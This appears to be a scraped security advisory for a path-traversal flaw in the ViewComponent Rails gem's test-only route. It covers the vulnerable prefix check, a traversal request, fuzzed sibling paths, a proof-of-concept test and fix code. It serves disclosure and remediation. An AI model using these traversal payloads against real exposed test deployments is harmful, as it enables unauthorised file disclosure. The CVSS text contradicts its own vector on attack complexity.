Severity by source
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Network-reachable no-auth file read (PR:N/UI:N), but AC:H because it needs the non-default condition of a reachable test-mode route; confidentiality-only, so I:N/A:N.
Primary rating from NVD.
CVSS VectorNVD
Lifecycle Timeline
8DescriptionNVD
Summary
The system test entrypoint canonicalizes a user-controlled file path with File.realpath, then checks whether the resolved path starts with the temp directory path. This is not a safe containment check because sibling directories can share the same string prefix.
Severity: Medium; test-route scoped.
Example:
Allowed base: /app/tmp/view_components
Outside path: /app/tmp/view_components_evil/secret.html.erbThe outside path is not inside the base directory, but it passes:
@path.start_with?(base_path)Relevant Code
app/controllers/view_components_system_test_controller.rb:
base_path = ::File.realpath(self.class.temp_dir)
@path = ::File.realpath(params.permit(:file)[:file], base_path)
raise ViewComponent::SystemTestControllerNefariousPathError unless @path.start_with?(base_path)The route then renders the resolved file:
render file: @pathExploit Flow
Example request:
GET /_system_test_entrypoint?file=../view_components_evil/secret.html.erbFlow:
base_pathresolves to.../tmp/view_components.- The payload resolves to
.../tmp/view_components_evil/secret.html.erb. - That path is outside the intended temp directory.
- The string prefix check still passes.
- Rails renders the sibling file.
The route is mounted only in Rails.env.test?, which is why Medium is more appropriate than P1. The issue matters if test routes are reachable in shared CI, staging, review apps, or any accidentally exposed test-mode deployment.
Targeted Fuzz Result
The following sibling paths passed an equivalent realpath plus start_with? harness while resolving outside the base directory:
../view_components_evil/secret.html
../view_components2/poc.html
../view_components.bak/poc.html
../view_components-old/poc.html
../view_componentsx/poc.htmlPoC Test
Create test/sandbox/test/system_test_entrypoint_path_traversal_poc_test.rb:
# frozen_string_literal: true
require "test_helper"
require "fileutils"
class SystemTestEntrypointPathTraversalPocTest < ActionDispatch::IntegrationTest
def test_system_test_entrypoint_allows_sibling_directory_with_same_prefix
base_dir = File.realpath(ViewComponentsSystemTestController.temp_dir)
parent_dir = File.dirname(base_dir)
sibling_dir = File.join(parent_dir, "#{File.basename(base_dir)}_evil")
outside_file = File.join(sibling_dir, "secret.html.erb")
FileUtils.mkdir_p(sibling_dir)
File.write(outside_file, "<div>VC_SYSTEM_TEST_TRAVERSAL_POC</div>")
get "/_system_test_entrypoint", params: {
file: "../#{File.basename(base_dir)}_evil/secret.html.erb"
}
assert_response :success
assert_includes response.body, "VC_SYSTEM_TEST_TRAVERSAL_POC"
ensure
FileUtils.rm_f(outside_file) if defined?(outside_file) && outside_file
Dir.rmdir(sibling_dir) if defined?(sibling_dir) && sibling_dir && Dir.exist?(sibling_dir)
end
endRun:
bundle exec ruby -Itest test/sandbox/test/system_test_entrypoint_path_traversal_poc_test.rbVulnerable behavior: the response succeeds and contains VC_SYSTEM_TEST_TRAVERSAL_POC.
Fixed behavior: the request raises ViewComponent::SystemTestControllerNefariousPathError or otherwise fails without rendering the file.
Suggested Fix
Use path-aware containment instead of a raw string prefix. For example:
def validate_file_path
base_path = Pathname.new(::File.realpath(self.class.temp_dir))
path = Pathname.new(::File.realpath(params.permit(:file)[:file], base_path.to_s))
relative_path = path.relative_path_from(base_path)
raise ViewComponent::SystemTestControllerNefariousPathError if relative_path.each_filename.first == ".."
@path = path.to_s
endOr require a separator boundary:
allowed_prefix = "#{base_path}#{File::SEPARATOR}"
unless @path == base_path || @path.start_with?(allowed_prefix)
raise ViewComponent::SystemTestControllerNefariousPathError
endAdd regression tests for:
- A normal temp file inside
tmp/view_components ../../README.md../view_components_evil/secret.html.erb- A symlink inside the temp directory that resolves outside it
AnalysisAI
Arbitrary file disclosure in the ViewComponent Ruby gem (versions >= 3.0.0, < 4.9.0) lets remote attackers read files outside the intended temp directory via the _system_test_entrypoint route. The controller canonicalizes a user-supplied path with File.realpath but validates containment with a raw String#start_with? prefix check, so a sibling directory sharing the same string prefix (e.g. view_components_evil next to view_components) resolves outside the base yet passes the check and is rendered. A working proof-of-concept test is published in the GHSA advisory; there is no public weaponized exploit and EPSS is 0.01% (1st percentile), and the route ships only in Rails.env.test?, which limits real-world exposure.
Technical ContextAI
The affected component is ViewComponent, a view-layer library for Ruby on Rails that renders reusable component objects. The flaw is CWE-22 (Improper Limitation of a Pathname to a Restricted Directory / path traversal). In app/controllers/view_components_system_test_controller.rb the code resolves both the base temp directory and the user-controlled file parameter with File.realpath, then guards with @path.start_with?(base_path). String prefix comparison is not path-boundary aware: '/app/tmp/view_components' is a string prefix of '/app/tmp/view_components_evil', so any sibling directory whose name begins with the base directory's name (view_components2, view_components.bak, view_components-old, view_componentsx, etc.) satisfies the check while resolving to a different directory. The resolved path is passed to Rails render file:, disclosing the file's contents. The affected package is pkg:rubygems/view_component.
RemediationAI
Vendor-released patch: 4.9.0. Upgrade the view_component gem to 4.9.0 or later, which replaces the string-prefix containment check with a path-boundary-aware check (Pathname#relative_path_from, or requiring a File::SEPARATOR boundary after the base path). Update the Gemfile constraint, run bundle update view_component, then verify against the advisory's regression cases (normal temp file, ../../README.md, ../view_components_evil/secret.html.erb, and an escaping symlink). If you cannot upgrade immediately, ensure the _system_test_entrypoint route is never reachable from untrusted networks: confirm production and internet-facing staging never run with RAILS_ENV=test, and firewall or ACL-restrict access to test-mode instances and shared CI/review-app environments (trade-off: none for production, but requires network controls on CI). As a code-level stopgap, patch the controller to reject paths whose first relative segment is '..' or that do not sit on a separator boundary within temp_dir. See https://github.com/ViewComponent/view_component/security/advisories/GHSA-hg3h-g7xc-f7vp.
Same weakness CWE-22 – Path Traversal
View allSame technique Path Traversal
View allShare
External POC / Exploit Code
Leaving vuln.today
EUVD-2026-31971
GHSA-hg3h-g7xc-f7vp